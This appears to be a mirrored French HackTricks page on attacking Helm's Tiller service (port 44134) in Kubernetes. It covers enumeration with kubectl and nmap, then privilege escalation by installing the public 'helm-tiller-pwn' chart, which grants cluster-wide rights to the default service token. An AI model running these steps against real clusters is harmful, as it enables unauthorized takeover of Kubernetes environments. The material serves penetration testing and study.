mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-16 22:18:27 +00:00
68 lines
4.4 KiB
Markdown
68 lines
4.4 KiB
Markdown
<details>
|
|
|
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
|
|
|
Autres façons de soutenir HackTricks :
|
|
|
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
|
|
# Informations de base
|
|
|
|
Helm est le **gestionnaire de packages** pour Kubernetes. Il permet de regrouper des fichiers YAML et de les distribuer dans des référentiels publics et privés. Ces packages sont appelés **Helm Charts**. **Tiller** est le **service** **exécuté** par défaut sur le port 44134 offrant le service.
|
|
|
|
**Port par défaut :** 44134
|
|
```
|
|
PORT STATE SERVICE VERSION
|
|
44134/tcp open unknown
|
|
```
|
|
# Énumération
|
|
|
|
Si vous pouvez **énumérer les pods et/ou services** de différents espaces de noms, énumérez-les et recherchez ceux avec **"tiller" dans leur nom**:
|
|
```bash
|
|
kubectl get pods | grep -i "tiller"
|
|
kubectl get services | grep -i "tiller"
|
|
kubectl get pods -n kube-system | grep -i "tiller"
|
|
kubectl get services -n kube-system | grep -i "tiller"
|
|
kubectl get pods -n <namespace> | grep -i "tiller"
|
|
kubectl get services -n <namespace> | grep -i "tiller"
|
|
```
|
|
Exemples :
|
|
```bash
|
|
kubectl get pods -n kube-system
|
|
NAME READY STATUS RESTARTS AGE
|
|
kube-scheduler-controlplane 1/1 Running 0 35m
|
|
tiller-deploy-56b574c76d-l265z 1/1 Running 0 35m
|
|
|
|
kubectl get services -n kube-system
|
|
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
|
|
kube-dns ClusterIP 10.96.0.10 <none> 53/UDP,53/TCP,9153/TCP 35m
|
|
tiller-deploy ClusterIP 10.98.57.159 <none> 44134/TCP 35m
|
|
```
|
|
Vous pourriez également essayer de trouver ce service en vérifiant le port 44134 :
|
|
```bash
|
|
sudo nmap -sS -p 44134 <IP>
|
|
```
|
|
Une fois que vous l'avez découvert, vous pouvez communiquer avec lui en téléchargeant l'application client helm. Vous pouvez utiliser des outils comme `homebrew`, ou consulter [**la page des versions officielles**](https://github.com/helm/helm/releases)**.** Pour plus de détails, ou pour d'autres options, consultez [le guide d'installation](https://v2.helm.sh/docs/using\_helm/#installing-helm).
|
|
|
|
Ensuite, vous pouvez **énumérer le service**:
|
|
```
|
|
helm --host tiller-deploy.kube-system:44134 version
|
|
```
|
|
## Élévation de privilèges
|
|
|
|
Par défaut, **Helm2** était installé dans l'**espace de noms kube-system** avec des **privilèges élevés**, donc si vous trouvez le service et y avez accès, cela pourrait vous permettre d'**élever les privilèges**.
|
|
|
|
Tout ce que vous avez à faire est d'installer un package comme celui-ci : [**https://github.com/Ruil1n/helm-tiller-pwn**](https://github.com/Ruil1n/helm-tiller-pwn) qui donnera **accès au jeton de service par défaut à tout dans l'ensemble du cluster**.
|
|
```
|
|
git clone https://github.com/Ruil1n/helm-tiller-pwn
|
|
helm --host tiller-deploy.kube-system:44134 install --name pwnchart helm-tiller-pwn
|
|
/pwnchart
|
|
```
|
|
Dans [http://rui0.cn/archives/1573](http://rui0.cn/archives/1573), vous avez **l'explication de l'attaque**, mais en gros, si vous lisez les fichiers [**clusterrole.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrole.yaml) et [**clusterrolebinding.yaml**](https://github.com/Ruil1n/helm-tiller-pwn/blob/main/pwnchart/templates/clusterrolebinding.yaml) à l'intérieur de _helm-tiller-pwn/pwnchart/templates/_ vous pouvez voir comment **tous les privilèges sont accordés au jeton par défaut**.
|